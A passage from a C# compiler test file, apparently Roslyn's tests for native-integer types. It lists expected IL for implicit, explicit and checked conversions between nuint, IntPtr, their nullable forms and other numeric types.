conversions(sourceType: "uint", destType: "nuint?", expectedImplicitIL: convToNullableT("conv.u", "nuint"), expectedExplicitIL: convToNullableT("conv.u", "nuint"));
conversions(sourceType: "long", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "ulong", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u.un", "nuint"));
conversions(sourceType: "nint", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "nuint", destType: "nuint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}");
conversions(sourceType: "float", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "double", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nuint"), expectedCheckedIL: convToNullableT("conv.ovf.u", "nuint"));
conversions(sourceType: "decimal", destType: "nuint?", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.u
IL_0007: newobj ""nuint?..ctor(nuint)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""ulong decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.u.un
IL_0007: newobj ""nuint?..ctor(nuint)""
IL_000c: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr", destType: "nuint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nuint?..ctor(nuint)""
IL_0006: ret
}");
conversions(sourceType: "bool?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "char", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "char", "nuint"));
conversions(sourceType: "sbyte?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.i", "sbyte", "nuint"), expectedExplicitIL: convFromToNullableT("conv.i", "sbyte", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "sbyte", "nuint"));
conversions(sourceType: "byte?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "byte", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "byte", "nuint"));
conversions(sourceType: "short?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.i", "short", "nuint"), expectedExplicitIL: convFromToNullableT("conv.i", "short", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "short", "nuint"));
conversions(sourceType: "ushort?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "ushort", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "ushort", "nuint"));
conversions(sourceType: "int?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "int", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "int", "nuint"));
conversions(sourceType: "uint?", destType: "nuint?", expectedImplicitIL: convFromToNullableT("conv.u", "uint", "nuint"), expectedExplicitIL: convFromToNullableT("conv.u", "uint", "nuint"));
conversions(sourceType: "long?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "long", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "long", "nuint"));
conversions(sourceType: "ulong?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "ulong", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u.un", "ulong", "nuint"));
conversions(sourceType: "nint?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "nint", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "nint", "nuint"));
conversions(sourceType: "nuint?", destType: "nuint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "float?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "float", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "float", "nuint"));
conversions(sourceType: "double?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "double", "nuint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u", "double", "nuint"));
conversions(sourceType: "decimal?", destType: "nuint?", null,
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""ulong decimal.op_Explicit(decimal)""
IL_0021: conv.u
IL_0022: newobj ""nuint?..ctor(nuint)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nuint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nuint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""ulong decimal.op_Explicit(decimal)""
IL_0021: conv.ovf.u.un
IL_0022: newobj ""nuint?..ctor(nuint)""
IL_0027: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nuint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.UIntPtr?", destType: "nuint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.UIntPtr""
IL_0006: ret
}");
conversions(sourceType: "nuint", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""void* System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nuint", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint", destType: "char", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2.un"));
conversions(sourceType: "nuint", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i1"), expectedCheckedIL: conv("conv.ovf.i1.un"));
conversions(sourceType: "nuint", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u1"), expectedCheckedIL: conv("conv.ovf.u1.un"));
conversions(sourceType: "nuint", destType: "short", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i2"), expectedCheckedIL: conv("conv.ovf.i2.un"));
conversions(sourceType: "nuint", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2.un"));
conversions(sourceType: "nuint", destType: "int", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i4"), expectedCheckedIL: conv("conv.ovf.i4.un"));
conversions(sourceType: "nuint", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u4"), expectedCheckedIL: conv("conv.ovf.u4.un"));
conversions(sourceType: "nuint", destType: "long", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u8"), expectedCheckedIL: conv("conv.ovf.i8.un"));
conversions(sourceType: "nuint", destType: "ulong", expectedImplicitIL: conv("conv.u8"), expectedExplicitIL: conv("conv.u8"));
conversions(sourceType: "nuint", destType: "float", expectedImplicitIL: conv("conv.r4"), expectedExplicitIL: conv("conv.r4"));
conversions(sourceType: "nuint", destType: "double", expectedImplicitIL: conv("conv.r8"), expectedExplicitIL: conv("conv.r8"));
conversions(sourceType: "nuint", destType: "decimal",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: ret
}");
conversions(sourceType: "nuint", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint", destType: "System.UIntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "char"), expectedCheckedIL: convToNullableT("conv.ovf.u2.un", "char"));
conversions(sourceType: "nuint", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i1", "sbyte"), expectedCheckedIL: convToNullableT("conv.ovf.i1.un", "sbyte"));
conversions(sourceType: "nuint", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u1", "byte"), expectedCheckedIL: convToNullableT("conv.ovf.u1.un", "byte"));
conversions(sourceType: "nuint", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i2", "short"), expectedCheckedIL: convToNullableT("conv.ovf.i2.un", "short"));
conversions(sourceType: "nuint", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "ushort"), expectedCheckedIL: convToNullableT("conv.ovf.u2.un", "ushort"));
conversions(sourceType: "nuint", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i4", "int"), expectedCheckedIL: convToNullableT("conv.ovf.i4.un", "int"));
conversions(sourceType: "nuint", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u4", "uint"), expectedCheckedIL: convToNullableT("conv.ovf.u4.un", "uint"));
conversions(sourceType: "nuint", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u8", "long"), expectedCheckedIL: convToNullableT("conv.ovf.i8.un", "long"));
conversions(sourceType: "nuint", destType: "ulong?", expectedImplicitIL: convToNullableT("conv.u8", "ulong"), expectedExplicitIL: convToNullableT("conv.u8", "ulong"));
conversions(sourceType: "nuint", destType: "float?", expectedImplicitIL: convToNullableT("conv.r4", "float"), expectedExplicitIL: convToNullableT("conv.r4", "float"), null);
conversions(sourceType: "nuint", destType: "double?", expectedImplicitIL: convToNullableT("conv.r8", "double"), expectedExplicitIL: convToNullableT("conv.r8", "double"), null);
conversions(sourceType: "nuint", destType: "decimal?",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: call ""decimal decimal.op_Implicit(ulong)""
IL_0007: newobj ""decimal?..ctor(decimal)""
IL_000c: ret
}");
conversions(sourceType: "nuint", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint", destType: "System.UIntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.UIntPtr?..ctor(System.UIntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nuint?", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nuint?""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nuint?""
IL_0006: ret
}");
conversions(sourceType: "nuint?", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint?", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: call ""void* System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: ret
}");
conversions(sourceType: "nuint?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2.un", "nuint"));
conversions(sourceType: "nuint?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i1", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i1.un", "nuint"));
conversions(sourceType: "nuint?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u1", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u1.un", "nuint"));
conversions(sourceType: "nuint?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i2", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i2.un", "nuint"));
conversions(sourceType: "nuint?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2.un", "nuint"));
conversions(sourceType: "nuint?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i4", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i4.un", "nuint"));
conversions(sourceType: "nuint?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u4", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u4.un", "nuint"));
conversions(sourceType: "nuint?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u8", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i8.un", "nuint"));
conversions(sourceType: "nuint?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u8", "nuint"));
conversions(sourceType: "nuint?", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r4", "nuint"));
conversions(sourceType: "nuint?", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r8", "nuint"));
conversions(sourceType: "nuint?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: conv.u8
IL_0008: call ""decimal decimal.op_Implicit(ulong)""
IL_000d: ret
}");
conversions(sourceType: "nuint?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint?", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "nuint?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nuint", "char"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2.un", "nuint", "char"));
conversions(sourceType: "nuint?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i1", "nuint", "sbyte"), expectedCheckedIL: convFromToNullableT("conv.ovf.i1.un", "nuint", "sbyte"));
conversions(sourceType: "nuint?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u1", "nuint", "byte"), expectedCheckedIL: convFromToNullableT("conv.ovf.u1.un", "nuint", "byte"));
conversions(sourceType: "nuint?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i2", "nuint", "short"), expectedCheckedIL: convFromToNullableT("conv.ovf.i2.un", "nuint", "short"));
conversions(sourceType: "nuint?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nuint", "ushort"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2.un", "nuint", "ushort"));
conversions(sourceType: "nuint?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i4", "nuint", "int"), expectedCheckedIL: convFromToNullableT("conv.ovf.i4.un", "nuint", "int"));
conversions(sourceType: "nuint?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u4", "nuint", "uint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u4.un", "nuint", "uint"));
conversions(sourceType: "nuint?", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u8", "nuint", "long"), expectedCheckedIL: convFromToNullableT("conv.ovf.i8.un", "nuint", "long"));
conversions(sourceType: "nuint?", destType: "ulong?", expectedImplicitIL: convFromToNullableT("conv.u8", "nuint", "ulong"), expectedExplicitIL: convFromToNullableT("conv.u8", "nuint", "ulong"));
conversions(sourceType: "nuint?", destType: "float?", expectedImplicitIL: convFromToNullableT("conv.r4", "nuint", "float"), expectedExplicitIL: convFromToNullableT("conv.r4", "nuint", "float"), null);
conversions(sourceType: "nuint?", destType: "double?", expectedImplicitIL: convFromToNullableT("conv.r8", "nuint", "double"), expectedExplicitIL: convFromToNullableT("conv.r8", "nuint", "double"), null);
conversions(sourceType: "nuint?", destType: "decimal?",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nuint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: conv.u8
IL_001d: call ""decimal decimal.op_Implicit(ulong)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nuint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: conv.u8
IL_001d: call ""decimal decimal.op_Implicit(ulong)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}");
conversions(sourceType: "nuint?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint?", destType: "System.UIntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.IntPtr", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "System.IntPtr", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "void*", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("void* System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
conversions(sourceType: "System.IntPtr", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(long)""
IL_000b: ret
}");
conversions(sourceType: "System.IntPtr", destType: "System.IntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.IntPtr", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitToNullableT("sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitToNullableT("byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
conversions(sourceType: "System.IntPtr", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitToNullableT("short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("int", "int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("uint", "int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("uint", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("long", "long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ulong", "long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("ulong", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr", destType: "float?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("float", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr", destType: "double?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("double", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(long)""
IL_000b: newobj ""decimal?..ctor(decimal)""
IL_0010: ret
}");
conversions(sourceType: "System.IntPtr", destType: "System.IntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}");
conversions(sourceType: "System.IntPtr", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
